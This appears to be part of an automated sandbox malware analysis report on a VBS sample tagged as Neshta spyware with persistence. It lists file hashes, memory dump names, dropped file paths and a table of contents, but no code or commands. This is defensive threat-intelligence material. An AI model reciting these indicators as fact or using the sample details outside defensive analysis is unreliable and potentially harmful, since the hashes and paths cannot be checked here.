MD5	614c0d722be9595dbbdfdbadfa5eed36
SHA1	6b5b83f8047285a0a95976f45457eb634d3149fb
SHA256	20c30e12f74fc4439417990b3f7531d135ba2333c6023f727f3aa3b3b3b33db8
SHA512	c4422a467a8c0b3c02460f5ec37090b11faa15b4a59684c584fbf76f746adfdded29dbb4474b4635b7b5bcc31aa05c48a087cc77096e0ed870dbee7c9df7ee70

memory/2540-45-0x0000000008660000-0x000000000A4BC000-memory.dmp

memory/3000-46-0x00007FFFAD6B0000-0x00007FFFAD979000-memory.dmp

memory/1440-63-0x0000000000CB0000-0x0000000001F04000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3582-490\wab.exe

MD5	72ad21d191b58842334d32a381ea7fa8
SHA1	f7375f09855a7bce9f7a152c75e84aac69caf828
SHA256	87abfab7bf5e213fc9e63c7fa39edfa6452eb5f7fdd668cd370d9cf4ea3ef729
SHA512	78662231c7ce0d03374b69dfd32614786dc5bf0c8ad2baadf2143f42bb03bd378632cc457dc414aa7e3d284674cc9151c39f90d71d9a5dd15dba689b2283386d

memory/3000-77-0x00007FFFAD6B0000-0x00007FFFAD979000-memory.dmp

C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE

MD5	0a1704e48ff603332eaac935608d3cf1
SHA1	e138d3d481c054a89b85312bfddd2f8a0baf8c1b
SHA256	d9e02af7b220e25f385c71e0a3be4b83203e0673cc1e56fcf02d3e1f0f3774b6
SHA512	7cec7a7c5542e66e347381e9ab5572b2231ab11dac61d9a76bcb7cbd4bd1e86f8169e7840c2e69f93e686cc1834e52cd6b47817b760ea618139a3de64076314f

memory/1440-175-0x0000000000CB0000-0x0000000001F04000-memory.dmp

memory/1440-176-0x0000000000CB0000-0x0000000001F04000-memory.dmp

memory/1440-177-0x0000000000CB0000-0x0000000001F04000-memory.dmp

memory/1440-179-0x0000000000CB0000-0x0000000001F04000-memory.dmp

Sample ID	240524-bjndyafh83
Target	3a262200a07c9f446ef95a399919a11960671591b90e56312c61b31c2a39dd3a.vbs
SHA256	3a262200a07c9f446ef95a399919a11960671591b90e56312c61b31c2a39dd3a
Tags	neshta persistence spyware

Malware Analysis Report

2024-09-11 02:58

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files